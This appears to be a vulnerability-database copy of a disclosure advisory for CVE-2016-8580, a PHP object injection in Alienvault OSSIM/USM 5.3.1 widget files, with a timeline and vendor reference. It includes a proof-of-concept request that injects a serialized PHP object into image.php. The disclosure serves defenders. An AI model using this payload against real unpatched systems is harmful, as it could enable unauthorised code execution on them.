Lucene search
K

Alienvault OSSIM/USM 5.3.1 - PHP Object Injection

🗓️ 02 Nov 2016 00:00:00Reported by Peter LappType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 31 Views

Alienvault OSSIM/USM 5.3.1 PHP Object Injection vulnerability in multiple widget files due to unsafe unserialize() functio

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Alienvault OSSIM/USM 5.3.1 - PHP Object Injection Vulnerability
2 Nov 201600:00
zdt
Circl
CVE-2016-8580
2 Nov 201600:00
circl
CNVD
Alienvault OSSIM and USM PHP Object Injection Vulnerabilities
30 Oct 201600:00
cnvd
CVE
CVE-2016-8580
28 Oct 201615:00
cve
Cvelist
CVE-2016-8580
28 Oct 201615:00
cvelist
exploitpack
Alienvault OSSIMUSM 5.3.1 - PHP Object Injection
2 Nov 201600:00
exploitpack
NVD
CVE-2016-8580
28 Oct 201615:59
nvd
Packet Storm
Alienvault OSSIM/USM 5.3.1 PHP Object Injection
2 Nov 201600:00
packetstorm
Prion
Design/Logic Flaw
28 Oct 201615:59
prion
Details
=======

Product: Alienvault OSSIM/USM
Vulnerability: PHP Object Injection
Author: Peter Lapp, lappsec () gmail com
CVE: CVE-2016-8580
Vulnerable Versions: <=5.3.1
Fixed Version: 5.3.2



Vulnerability Details
=====================

A PHP object injection vulnerability exists in multiple widget files
due to the unsafe use of the unserialize() function. The affected
files include flow_chart.php, gauge.php, honeypot.php,
image.php,inventory.php, otx.php, rss.php, security.php, siem.php,
taxonomy.php, tickets.php, and url.php.
An authenticated attacker could send a serialized PHP object to one of
the vulnerable pages and potentially gain code execution via magic
methods in included classes.



POC
====

This benign POC injects the IDS_Report class from PHPIDS into the
refresh parameter of image.php. The __toString method of IDS_Report is
then executed and the output is displayed in the value of the content
field in the response:

/ossim/dashboard/sections/widgets/data/image.php?type=test&wtype=blah&height=1&range=1&class=1&id=&adj=1&value=a%3A5%3A{s%3A3%3A%22top%22%3Bs%3A1%3A%221%22%3Bs%3A10%3A%22adjustment%22%3Bs%3A8%3A%22original%22%3Bs%3A6%3A%22height%22%3Bs%3A3%3A%22123%22%3Bs%3A7%3A%22refresh%22%3BO%3A10%3A%22IDS_Report%22%3A3%3A{s%3A9%3A%22%00*%00events%22%3Bs%3A9%3A%22testevent%22%3Bs%3A7%3A%22%00*%00tags%22%3Bs%3A1%3A%221%22%3Bs%3A9%3A%22%00*%00impact%22%3Bs%3A16%3A%22Object+Injection%22%3B}s%3A7%3A%22content%22%3Bs%3A36%3A%22aHR0cDovL3d3dy50ZXN0LmNvbS8xLnBuZw%3D%3D%22%3B}



Timeline
========

08/03/16 - Reported to Vendor
10/03/16 - Fixed in version 5.3.2



References
==========

https://www.alienvault.com/forums/discussion/7766/security-advisory-alienvault-5-3-2-address-70-vulnerabilities

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation